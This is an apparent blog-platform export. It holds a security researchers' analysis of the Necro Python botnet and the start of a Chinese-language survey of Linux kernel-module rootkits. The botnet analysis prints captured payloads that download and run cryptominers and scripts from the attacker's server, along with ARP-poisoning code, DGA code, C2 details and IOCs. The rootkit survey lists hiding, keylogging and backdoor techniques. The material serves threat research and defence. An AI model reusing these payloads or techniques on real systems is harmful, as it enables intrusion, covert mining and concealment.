self.channel=b64decode(b64decode("346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel
self.channel_key==b64decode(b64decode("346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel key
References
* https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/
* https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
* https://nvd.nist.gov/vuln/detail/CVE-2020-28188
* https://nvd.nist.gov/vuln/detail/CVE-2021-3007
* https://nvd.nist.gov/vuln/detail/CVE-2020-7961
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##Overview.\nNecro is a classic family of botnet written in Python that was first discovered in 2015, at the beginning, it targeted Windows systems and often tagged by security vendors as Python.IRCBot and called N3Cr0m0rPh (Necromorph) by the author himself. \n\nSince January 1, 2021, 360Netlab's BoTMon system has continued to detect new variants of the family, with three versions of the sample being detected, and the latest version using [DGA](#dga) to generate C2 domains against detection. All the 3 versions target Linux devices.\n\nThe key points of this blog are as follows.\n1. In terms of propagation methods, Necro supports multiple methods and continues to integrate new publicly available 1-day vulnerabilities with a high attack capability.\n2. The latest version uses the DGA technique to generate C2 domain names and the Python scripts are also heavily obfuscated to combat static analysis.\n3. The latest 2 versions distribute Python programs together with ELF programs packaged with PyInstaller at the same time in order to ensure that they can be executed on victim machines that do not have Python2.\n4. We suspect same actor behind all three versions.\n\nAt the time of writing, we note that two security vendors have reported Necro botnet [PythonCryptoMinter](#ref_1) [FreakOut](#ref_2), but they both describe the second version that has stopped spreading."}],["markdown",{"markdown":"##Capture\nOur Anglerfish honeypot system captured two propagation methods: one uses traditional telnet weak password and the other one utilizes an 1-day vulnerability (CVE-2020-35665). The following is a hit record from our honeypot."}],["image",{"src":"__GHOST_URL__/content/images/2021/01/1-1.jpg"}],["markdown",{"markdown":"The following is the payload being used for weak telnet password.\n```\nroot\npassword\nenable\nsystem\nshell\nsh\necho -e '\\x41\\x4b\\x34\\x37'\nwget http://aspjobjreorejborer.com/mirai.armexport ARGS=\"-o aveixucyimxwcmph.xyz:9050\";\nLINE=\"killall -9 .sshd||pkill -9 .sshd_;\n[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;\nnohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &\";\ngrep -q \"$LINE\" ~/.bashrc||echo \"$LINE\" >> ~/.bashrc;\ncurl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;\nmv -f .sshd_ .sshd_;\nchmod 777 .sshd_;\ncurl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;\nmv -f xmrig .sshd;\nchmod 777 .sshd;\nchmod +x ~/.bashrc;\n~/.bashrc;\ncd /tmp||php -r \"file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));\";\ncurl http://aveixucyimxwcmph.xyz/.benchmark -O;\ncurl http://aveixucyimxwcmph.xyz/.benchmark.py -O;\nphp -r \"file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));\";\nwget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;\nwget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;\nchmod 777 .benchmark.py;\nchmod 777 .benchmark;\npython .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py & \n```\n\nThe following is the payload when exploiting the 1-day vulnerability CVE-2020-35665.\n```\nGET /include/makecvs.php?Event=`export ARGS=\"-o aveixucyimxwcmph.xyz:9050\"\nLINE=\"killall -9 .sshd||pkill -9 .sshd_\n[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile\nnohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &\"\ngrep -q \"$LINE\" ~/.bashrc||echo \"$LINE\" >> ~/.bashrc\ncurl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_\nmv -f .sshd_ .sshd_\nchmod 777 .sshd_\ncurl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig\nmv -f xmrig .sshd\nchmod 777 .sshd\nchmod +x ~/.bashrc\n~/.bashrc\n\ncd /tmp||php -r \"file_put_contents(\\\".benchmark\\\", file_get_contents(\\\"http://aveixucyimxwcmph.xyz/.benchmark\\\"));\"\ncurl http://aveixucyimxwcmph.xyz/.benchmark -O\ncurl http://aveixucyimxwcmph.xyz/.benchmark.py -O\nphp -r \"file_put_contents(\\\".benchmark.py\\\", file_get_contents(\\\"http://aveixucyimxwcmph.xyz/.benchmark.py\\\"));\"\nwget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark\nwget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py\n```\n\nAs you can see from the payload above, in addition to downloading and executing the original Python script (.benchmark.py), exp will also attempt to download and execute the PyInstaller-packaged ELF file (.benchmark), a tactic introduced by the authors since version 2 to improve the execution success rate. Because Python 2 has reached EOL (end-of-life), some victim machines lack this runtime environment, and Python programs packaged with PyInstaller will become standalone ELFs that can be executed normally even without a Python environment on the target machine.\n\n\nIt is worth noting that vulnerability CVE-2020-35665 was made public on December 23, 2020, only 8 days after we first caught its exploitation, which shows that the authors are very \"active\" in the use of the new vulnerability.\n\nIn addition to the Necro sample, the above exp will also download the mining program xmrig and xmrig1.\n\nWhen looking up the C2 in our database, we found that the same download server has also been used for the download of mirai and some Windows malicious exe programs, indicating that the authors of Necro are operating multiple families of botnet at the same time."}],["image",{"src":"__GHOST_URL__/content/images/2021/01/2.jpg"}],["markdown",{"markdown":"##Infection Scale\nTapping in our DNSMon passivedns data, we can see the statistics of the two C2 domains used in version 2 and 3. Right now both counts are in 2 digits. But keep in mind that our pdns represents only a small subset of the global dns traffic, and based on past experiences, we won’t be surprised if the actual infected hosts is a much much bigger number.\n\nHere are the resolution statistics of version 2 C2 domain, we can see that the count of this domain name has passed the stable period and is in a declining state."}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----6-1.jpg"}],["markdown",{"markdown":"Below are the resolution statistics for version 3 domains. You can see that the resolution volume is rising, which means this version is active."}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----9-1.jpg"}],["markdown",{"markdown":"##Sample analysis\nThrough the analysis, we found that the Necro samples captured in 2021 can be divided into 3 versions, and there are significant differences between each version in terms of propagation method, code obfuscation and C2 schema, where version 1 (necr0.py) to version 2 (out.py) are mainly code structure adjustments with an increase in obfuscation. From version 2 to version 3, the difference has increased, not only the code obfuscation has increased significantly, but also C2 has changed from hardcoded domain names to using the DGA. In addition, some n-day vulnerabilities have been added to version 3 in terms of propagation methods.\n\n###Version 1\nBecause version 1 was named necro.py by the author, we named the family Necro. In terms of code obfuscation, version 1 only partially obfuscates the code."}],["image",{"src":"__GHOST_URL__/content/images/2021/01/5.jpg","caption":""}],["markdown",{"markdown":"Its C2 information is [simply encoded](#c2_encode) and stored, and after several inverse decodes can be easily obtained as follows.\n\n```\nirc server: '45.145.185.229'\nchannel: '#necro'\nkey: 'm0rph'\n```\n"}],["markdown",{"markdown":"Readable DDoS attack-related command strings can be found in the original sample.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----2-1.jpg"}],["markdown",{"markdown":"From these command strings we can see that Necro is a botnet for DDoS attacks, C2 protocol based on IRC, supports attacks including both the common udpflood, synflood, slowloris, httpflood these, but also an uncommon method of amp attack."}],["markdown",{"markdown":"###Version 2\nVersion 2 (out.py) is comparable to version 1 in terms of obfuscation, but there is a change in vulnerability exploitation to include the Zend Framework (known as CVE-2021-3007). \n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----4-1.jpg"}],["markdown",{"markdown":"It is worth noting that the vulnerability was only revealed on January 4, 2021, which again shows that the authors of Necro were very \"aggressive\" in exploiting the new vulnerability.\n\nIn terms of C2 storage, version 2 is same as version 1.\n```\nirc server: 'gxbrowser.net'\nchannel: '#update'\nkey: 'N3Wm3W'\n```"}],["markdown",{"markdown":"###Version3\nVersion 3's were detected to be propagated with benchmark.py names. Compared to the first two versions, the biggest change in version 3 is the use of DGA to generate C2 domain names, the specific algorithm refer to the [DGA code](#dga) behind, the following is a simulation of the algorithm to generate part of the domain name:\n\n```\navEiXUcYimXwcMph.xyz\navEiXUcYimXwcMph.xyz\navEiXUcYimXwcMph.xyz\naoRmVwOaTOGgYqbk.xyz\naoRmVwOaTOGgYqbk.xyz\naoRmVwOaTOGgYqbk.xyz\nMasEdcNVYwedJwVd.xyz\nMasEdcNVYwedJwVd.xyz\nMasEdcNVYwedJwVd.xyz\nsuBYdZaoqwveKRlQ.xyz\n...\n```\n\nThrough our own Passive DNS system(link https://passivedns.cn), we see that the 1st domain name aveixucyimxwcmph.xyz generated by this DGA algorithm is enabled and is also used as the domain name of the download server.\n```\n2021-01-11 11:49:28\t2021-01-20 03:47:28\t372\taveixucyimxwcmph.xyz\tA\t193.239.147.224\t\n2021-01-11 20:11:02\t2021-01-11 20:11:03\t2\taveixucyimxwcmph.xyz\tTXT\t\"v=spf1 include:spf.efwd.registrar-servers.com ~all\"\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward4.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward5.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward2.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward1.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward3.registrar-servers.com\n\n```\n\nOn January 20, 2021, in the latest version 3 sample the authors made another change to the DGA algorithm, modifying the seeds from 3 to 4096, and also started using SSL to encrypt the communication data.\n\n\nAnother change in version 3 is that the code has been obfuscated more severely. Not only have all custom objects been replaced with random characters, but even the strings have been encoded in this way with base64.encode(zlib.compress(plain_string)), resulting in samples that no longer have readable, meaningful strings, as shown in the following figure.\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----14-1.jpg"}],["markdown",{"markdown":"\nIn terms of propagation methods, version 3 adds more vulnerability exploits, which can be seen in the decoded strings as follows.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----8-1.jpg"}],["markdown",{"markdown":"\nThere is no change in the supported DDoS attack methods in version 3, only the command string is encoded, and the decoded DDoS command string is as follows.\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----7-1.jpg"}],["markdown",{"markdown":"###Sample history\nWe can see that Necro was developed as early as 2015 and is called N3Cr0m0rPh (Necromorph) by the authors.\n\n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----13-1.jpg"}],["markdown",{"markdown":"We were able to correlate a batch of early Necro samples for Windows from the sample library, all exe files, which also happened to date back to 2015, matching the version information in version 1. From these clues, we can tell that Necro first targeted the Windows platform, and then perhaps the natural cross-platform characteristics of Python programs, or the existence of a large number of vulnerabilities in the existing network of Linux machines (IoT devices, cloud servers, etc.), which inspired the Necro authors to move on to Linux devices."}],["markdown",{"markdown":"###Others\nSince some of the Necro samples are distributed as PyInstaller packages, here is a brief description of how to restore a readable .py script by means of unpacking, decompiling, and unobfuscating.\n\n - Unpacking\nTake version 3 as an example, after unpacking the pydata data extracted from the ELF samples with the open source tool [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor), you can get the .so dynamic library, python library and bytecode file .benchmark.pyc that the original python script depends on."}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----3-1.jpg"}],["markdown",{"markdown":"- Decompiling pyc\nBy decompiling .pyc bytecode with [uncompyle6](https://pypi.org/project/uncompyle6/), we can get the final python script. By comparing the python script .benchmark.py from the same downloader, we find that it is the same as the decompiled .py script, so we conclude that .benchmark.py is the original script before packaging.\n\n- String decryption\nNecro uses a simple zip compression with an alias algorithm to encrypt the string, take the following code as an example, first decompress and then alias to get the decrypted string value ‘8.8.8.8'\n\n```\nxor_crypt(zlib.decompress(b'\\x78\\x9c\\xab\\xac\\x8d\\x72\\xf7\\xca\\x96\\x06\\x00\\x0a\\xf1\\x02\\x68')) \n\ndef xor_crypt(s): \n xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52] \n return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ]) \n```\n\n- Deforming\nThe python script will first call the repack() function after it starts to deform the current file. The deformation algorithm is to take an object name (possibly a class, variable name, function name) from the obj_name_list table (which holds the custom object names in the file) in turn, then generate an 8-bit random string, and replace the corresponding object name in the file with this 8-bit random string. The result is that no more readable object names can be found in the original file. Because this practice is irreversible, we can only speculate on the meaning of each function and variable from the code function, referring to earlier versions of the code, we basically figured out the code function.\n\n```\ndef __init__(self):\n ...\n self.repack() #repack bot before we install\n self.install() #Install\n\ndef repack(self):\n try:\n fh_myself=open(argv[0],\"r\")\n _pyload=fh_myself.read()\n fh_myself.close()\n obj_name_list=['localhost_irc','gen_random_8char'....]\n for obj_name in obj_name_list:\n _pyload=_pyload.replace(obj_name,self.gen_random_8char(8))\n new_fh_myself=open(argv[0],\"w\")\n new_fh_myself.write(_pyload)\n new_fh_myself.close()\n except:\n pass\n```"}],["markdown",{"markdown":"- ARP Spoofing and Traffic Sniffing\nNecro also supports ARP spoofing and network traffic sniffing. ARP spoofing is designed to disguise the victim machine as a gateway, the code is shown below.\n\n```\ndef create_pkt_arp_poison():\n s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)\n s.bind((\"wlan0\", 0))\n \n while(1):\n for lmfao in getPoisonIPs():\n src_addr = get_src_mac()\n dst_addr = lmfao[0]\n src_ip_addr = get_default_gateway_linux()\n dst_ip_addr = lmfao[1]\n dst_mac_addr = \"\\x00\\x00\\x00\\x00\\x00\\x00\"\n payload = \"\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x02\"\n checksum = \"\\x00\\x00\\x00\\x00\"\n ethertype = \"\\x08\\x06\"\n s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr\n + dst_mac_addr + dst_ip_addr + checksum)\n time.sleep(2)\n\n\n```\n\nThe buggy code executes in a separate thread, reading /proc/net/arp every 2 seconds to get the latest ARP neighbors, and then sending them ARP responses pretending to be the gateway, with the goal of making the other party believe that the machine it is running on is the gateway. The author may have done this to achieve man-in-the-middle hijacking, but we have not seen any more code related to man-in-the-middle communication yet, so the feature is probably still under development.\n\nThe sample will start a sniffing thread when it starts. Sniffing mainly targets the TCP traffic of the victim machine, which is controlled by the C2 directive (.sniffer-resume). Once enabled, all TCP traffic not from the following ports will be logged and reported to C2's port 1337: \"1337, 6667, 23, 443, 37215, 53, 22\".\n\n\nThe sample will start a sniffing process when it starts, and report all the traffic of interest in the intranet to port 1337 of the cc server.\n\n"}],["markdown",{"markdown":"##C2 Infrastructure\nStarting from the download server domain aveixucyimxwcmph.xyz, we expand more information about the IoC through our graph system and sucessfully linked all c2s from the three different versions. \n\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----10-1.jpg"}],["markdown",{"markdown":"Among them, the C2 domain gxbrowser.net in version 2 has also resolved to C2 45.145.185.229 in version 1, and the IP 193.239.147.224 resolved by the C2 domain aveixucyimxwcmph.xyz in version 3 has also been used by gxbrowser.net, which means that the authors behind the current 3 versions of Necro botnet are very likely same person\n\nAll the Necro related domains have been blocked by our DNSmon system."}],["markdown",{"markdown":"\n\n##Contact us\nReaders are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.\n\n\n##IOC\n\nC2\n```\n45.145.185.83\n193.239.147.224\ngxbrowser.net\naveixucyimxwcmph.xyz\n```\n\nDownload URL\n```\n# Version 1 \n http://45.145.185.229/necr0.py\n\n# Version 2\n http://gxbrowser.net/out\n http://gxbrowser.net/out.py\n\n# Version 3\n http://aveixucyimxwcmph.xyz/.benchmark\n http://aveixucyimxwcmph.xyz/.benchmark.py\n\n# Others\n http://gxbrowser.net/xmrig\n http://gxbrowser.net/xmrig1\n http://aveixucyimxwcmph.xyz/xmrig1\n http://45.145.185.229/bins/nginx.html/keksec.x86\n http://45.145.185.229/bins/nginx.html/keksec.spc\n http://45.145.185.229/bins/nginx.html/keksec.sh4\n http://45.145.185.229/bins/nginx.html/keksec.ppc\n http://45.145.185.229/bins/nginx.html/keksec.mpsl\n http://45.145.185.229/bins/nginx.html/keksec.mips\n http://45.145.185.229/bins/nginx.html/keksec.m68k\n http://45.145.185.229/bins/nginx.html/keksec.i586\n http://45.145.185.229/bins/nginx.html/keksec.arm\n http://45.145.185.229/bins/nginx.html/keksec.arm7\n http://45.145.185.229/bins/nginx.html/keksec.arm5\n http://45.145.185.229/bins/keksec.x88_64\n http://45.145.185.229/bins/keksec.x86\n http://45.145.185.229/bins/keksec.x64\n http://45.145.185.229/bins/keksec.spc\n http://45.145.185.229/bins/keksec.sh4\n http://45.145.185.229/bins/keksec.ppc\n http://45.145.185.229/bins/keksec.mpsl\n http://45.145.185.229/bins/keksec.mips\n http://45.145.185.229/bins/keksec.mips64\n http://45.145.185.229/bins/keksec.m68k\n http://45.145.185.229/bins/keksec.i586\n http://45.145.185.229/bins/keksec.arm\n http://45.145.185.229/bins/keksec.arm7\n http://45.145.185.229/bins/keksec.arm5\n http://45.145.185.229/update.sh\n ```\n \n ##<a id=\"dga\">DGA</a>\n ```\n import random\n\ndef gen_random_str(_range):\n return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))\n\ndef gen_cc(time):\n random.seed(a=5236442 + time)\n return gen_random_str(16) + '.xyz'\n\ndef gen_DGA():\n i = 0\n while 1:\n for _ in range(3):\n try:\n print(gen_cc(i))\n except:\n pass\n if i >= 2048:\n i = 0\n i += 1\n\ngen_DGA()\n\n ```\n \n ##<a id=\"c2_encode\">C2 decryption algorithm</a>\n ```\n self.irc_server=b64decode(b64decode(\"34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364\".decode('hex').decode('hex')).decode('hex')) #Encoded irc server\n\nself.server_port=6667 #Server port\n\nself.channel=b64decode(b64decode(\"346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364\".decode('hex').decode('hex')).decode('hex')) #Encoded channel\n\nself.channel_key==b64decode(b64decode(\"346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364\".decode('hex').decode('hex')).decode('hex')) #Encoded channel key\n\n ```\n \n ##References\n \n- <a id=\"ref_1\">https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/</a>\n- <a id=\"ref_2\">https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/</a>\n- https://nvd.nist.gov/vuln/detail/CVE-2020-28188\n- https://nvd.nist.gov/vuln/detail/CVE-2021-3007\n- https://nvd.nist.gov/vuln/detail/CVE-2020-7961\n"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[1,"p",[]],[10,11],[10,12],[10,13],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[10,21],[10,22],[10,23],[10,24],[10,25],[10,26],[10,27],[10,28],[10,29],[10,30],[10,31],[10,32],[10,33],[10,34],[1,"p",[]]],"ghostVersion":"3.0"} | 6009631dd0d9b7000712a306 |
post | null | 2021-01-22T04:17:11.000Z | 63873b9a8b1c1e0007f52f99 | linux-rootkit | 0 | 2021-02-26T09:16:09.000Z | public | draft | null | null | LKM-Rootkit Summary | <!--kg-card-begin: markdown--><h1 id="">引</h1>
<p>LKM 是 Linux Kernel Module 的缩写，所以这里 LKM-Rootkit 的含义，是"基于Linux内核模块实现的 Rootkit"。由于前段时间分析了skidmap的细节，所以想到针对性的梳理一下这方面的内容。在集中精力读了一些开源代码后，整理一些手册性质的文字记录下来，供他人日后查阅。</p>
<h1 id="">开源项目参考</h1>
<p>本节项目主要来源为 <a href="https://github.com/milabs/awesome-linux-rootkits">awesome-linux-rootkits</a> 中提到的 LKM 相关的项目。</p>
<p>Rootkit 作为一个隐藏工具，其主要设计目标是为了隐藏攻击痕迹，本节将对开源LKM进行一个汇总梳理。每个项目中，可能包含多个实现细节，通过编号（SK-X.X）对应到知识点汇总章节中。</p>
<h2 id="rooty">rooty</h2>
<p><strong>项目地址</strong>: <a href="https://github.com/jermeyyy/rooty">https://github.com/jermeyyy/rooty</a></p>
<p><strong>模块自身隐藏</strong>： SK-5.1 加 SK-5.2 实现内核模块的隐藏；</p>
<p><strong>本地交互</strong>： 利用 SK-1.3 向内核模块发送控制指令；利用 SK-3.1 筛选 ioctl 命令；</p>
<p><strong>远程后门交互</strong>： 参考 SK-1.2;</p>
<p><strong>获取root权限</strong>：参考 SK-9.1 ；</p>
<p><strong>SHELL后门</strong>： 功能实现参考 SK-10.2 启动了一个 sshd 任务处理shell 交互；</p>
<p><strong>VNC后门</strong>：参考 SK-10.2 启动了一个 vnc 服务。</p>
<p><strong>文件/目录隐藏</strong>：参考 SK-3.1 和 SK-4.1 更改根目录("/")的迭代器;</p>
<p><strong>进程隐藏</strong>： 参考 SK-3.1 和 SK-7.3;</p>
<p><strong>网络会话隐藏</strong>：参考 SK-6.1； HOOK 参考 SK-3.1；</p>
<p><strong>键盘记录</strong>：利用 SK-8.1 实现键盘记录，并将结果记录到一个指定文件。</p>
<h2 id="reptile">Reptile</h2>
<p><strong>项目地址</strong>: <a href="https://github.com/f0rb1dd3n/Reptile">https://github.com/f0rb1dd3n/Reptile</a></p>
<p><strong>本地交互</strong>: 利用 SK-1.3 向内核发送控制指令；利用 SK-3.1 筛选 ioctl 命令；</p>
<p><strong>远程后门交互</strong>： 参考 SK-1.4；</p>
<p><strong>模块自身隐藏</strong>： 参考 SK-5.1；</p>
<p><strong>获取root权限</strong>：参考 SK-9.1；</p>
<p><strong>网络会话隐藏</strong>：参考 SK-6.1；HOOK参考 SK-3.4；</p>
<p><strong>进程隐藏</strong>：参考 SK-7.1；HOOK参考 SK-3.4；</p>
<p><strong>目录隐藏</strong>：参考 SK-4.2；HOOK参考 SK-3.4；</p>
<p><strong>文件隐藏</strong>：参考 SK-4.3；HOOK参考 SK-3.4；</p>
<h2 id="rkduck">rkduck</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/QuokkaLight/rkduck">https://github.com/QuokkaLight/rkduck</a></p>
<p><strong>本地交互</strong>：rkduck提供了一个控制程序，user-kernel的通讯方式参考 SK-1.1;</p>
<p><strong>SHELL后门</strong>：交互协议参考 SK-1.2； 功能实现参考 SK-10.1;</p>
<p><strong>文件/目录隐藏</strong>： 利用 SK-3.1 和 SK-4.1 更改根目录("/")迭代器;</p>
<p><strong>进程隐藏</strong>： 参考 SK-3.1 和 SK-7.3;</p>
<p><strong>SSH后门</strong>：参考 SK-10.1 植入公钥到 <code>/root/.ssh/authorized_keys</code> 文件;</p>
<p><strong>键盘记录</strong>： 利用 SK-8.1实现键盘记录，并利用 SK-10.1 执行 <code>scp</code> 命令 将记录结果回传攻击者;</p>
<h2 id="lkmrootkit">lkm-rootkit</h2>
<p><strong>项目地址</strong>： <a href="https://github.com/croemheld/lkm-rootkit">https://github.com/croemheld/lkm-rootkit</a></p>
<p><strong>模块自身隐藏</strong>： 参考 SK-5.1 和 SK-5.3;</p>
<p><strong>远程后门交互</strong>： 参考 SK-10.2 启动一个UDP监听服务线程，接受从网络发来的控制指令；</p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-2.3 找到 syscall_table 位置，参考 SK-4.4 隐藏文件；</p>
<p><strong>键盘记录</strong>： 参考 SK-8.2 ，记录结果会通过远程交互的UDP会话发回去；</p>
<p><strong>进程隐藏</strong>：参考 SK-8.1；HOOK 参考 SK-3.1；</p>
<p><strong>网络会话隐藏</strong>： 参考 SK-6.1; HOOK参考 SK-3.1；</p>
<p><strong>权限提升</strong>： 参考 SK-9.1;</p>
<h2 id="suterusu">suterusu</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/mncoppola/suterusu">https://github.com/mncoppola/suterusu</a></p>
<p><strong>模块自身隐藏</strong>：参考 SK-5.1 和 SK-5.2；</p>
<p><strong>本地交互</strong>： 参考 SK-1.3；</p>
<p><strong>远程后门交互</strong>：参考 SK-1.2；</p>
<p><strong>SHELL后门</strong>： 交互参考 SK-1.2； 功能实现参考 SK-10.1；并发执行参考 SK-10.5；</p>
<p><strong>键盘记录</strong>：参考 SK-8.1；在这个位置还用到了 wake_up_interruptible 中断相关的接口，感兴趣的小伙伴们可以在这里深挖一下，它也是一个在 Linux 内核中比较重要的 API。这里就不展开了；</p>
<p><strong>文件/目录隐藏</strong>：参考 SK-4.1; 下钩参考 SK-3.1</p>
<p><strong>进程隐藏</strong>：参考 SK-7.4；下钩参考 SK-3.1</p>
<p><strong>网络会话隐藏</strong>： 参考 SK-6.1； 下钩参考 SK-3.1</p>
<h2 id="arprootkit">ARP-Rootkit</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/romeroperezabel/ARP-RootKit">https://github.com/romeroperezabel/ARP-RootKit</a></p>
<p>PS： 截止本文编写时，该项目已经从github下架，无法找到，希望读者中有人能够贡献一波，供我等分析。</p>
<h2 id="rootkit">rootkit</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/nurupo/rootkit">https://github.com/nurupo/rootkit</a></p>
<p><strong>本地交互</strong>：项目中存在 client 程序，通过 SK-1.5 的方式配置内核模块；下钩参考 SK-3.1;</p>
<p><strong>模块自身隐藏</strong>： 参考 SK-5.1 和 SK-5.3；下钩参考 SK-3.1；</p>
<p><strong>进程隐藏</strong>： 参考 SK-5.3; 下钩参考 SK-3.1;</p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-4.1；</p>
<h2 id="diamorphine">Diamorphine</h2>
<p><strong>项目地址</strong>： <a href="https://github.com/m0nad/Diamorphine">https://github.com/m0nad/Diamorphine</a></p>
<p><strong>本地交互</strong>：参考 SK-1.6；</p>
<p><strong>模块自身隐藏</strong>： 参考 SK-5.1;</p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-4.4； HOOK 参考 SK-3.3；获取系统调用表参考 SK-2.1，在较新系统版本中参考 SK-10.4；</p>
<p><strong>权限提升</strong>：参考 SK-9.1；</p>
<h2 id="rootkit2">rootkit （2）</h2>
<p><strong>项目地址</strong>： <a href="https://github.com/ivyl/rootkit">https://github.com/ivyl/rootkit</a></p>
<p><strong>本地交互</strong>： 参考 SK-1.5；</p>
<p><strong>模块自身隐藏</strong>：参考 SK-5.1 / SK-5.2 / SK-5.4；</p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-4.5;</p>
<p><strong>进程隐藏</strong>：参考 SK-7.4；</p>
<p><strong>权限提升</strong>： 参考 SK-9.1；</p>
<h2 id="randkit">randkit</h2>
<p><strong>项目地址</strong>: <a href="https://github.com/vrasneur/randkit">https://github.com/vrasneur/randkit</a></p>
<p><strong>文件/目录隐藏</strong>： 参考 SK-4.4</p>
<h2 id="adoreng">adore-ng</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/trimpsyw/adore-ng">https://github.com/trimpsyw/adore-ng</a></p>
<p><strong>文件隐藏</strong>：高内核版本参考 SK-4.1； 低内核版本参考 SK-4.5；</p>
<p><strong>本地交互</strong>：参考 SK-1.7；</p>
<p><strong>权限提升</strong>：参考 SK-9.1；</p>
<p><strong>进程隐藏</strong>：参考 SK-7.4；</p>
<h2 id="the_colonel">the_colonel</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/bones-codes/the_colonel">https://github.com/bones-codes/the_colonel</a></p>
<p><strong>本地交互</strong>：参考 SK-1.5；</p>
<p><strong>文件隐藏</strong>：参考 SK-4.5；</p>
<p><strong>进程隐藏</strong>：参考 SK-7.4；</p>
<p><strong>权限提升</strong>：参考 SK-9.1；</p>
<p><strong>键盘记录</strong>：参考 SK-8.3；</p>
<h2 id="enyelkm">enyelkm</h2>
<p><strong>项目地址</strong>： <a href="https://github.com/David-Reguera-Garcia-Dreg/enyelkm">https://github.com/David-Reguera-Garcia-Dreg/enyelkm</a></p>
<p><strong>本地交互</strong>： 参考 SK-1.8；</p>
<p><strong>网络隐藏</strong>：参考 SK-6.1；</p>
<p><strong>文件隐藏</strong>： 参考 SK-4.4； HOOK 参考 SK-3.3；</p>
<p><strong>权限提升</strong>：参考 SK-9.1；</p>
<p><strong>shell后门</strong>：参考 SK-1.9；会筛选处理 ICMP 和 TCP4 协议的报文；</p>
<h2 id="subversive">subversive</h2>
<p><strong>项目地址</strong>：<a href="https://github.com/falk3n/subversive">https://github.com/falk3n/subversive</a></p>
<p><strong>本地交互</strong>： 参考 SK-1.10； HOOK 参考 SK-3.5;</p>
<p><strong>文件隐藏</strong>： 参考 SK-4.4； HOOK 参考 SK-3.5；</p>
<p><strong>权限提升</strong>： 参考 SK-9.1； HOOK 参考 SK-3.5；</p>
<p><strong>进程隐藏</strong>： 参考 SK-7.5； HOOK 参考 SK-3.5;</p>
<h2 id="lkmrootkit2">lkm-rootkit (2)</h2>
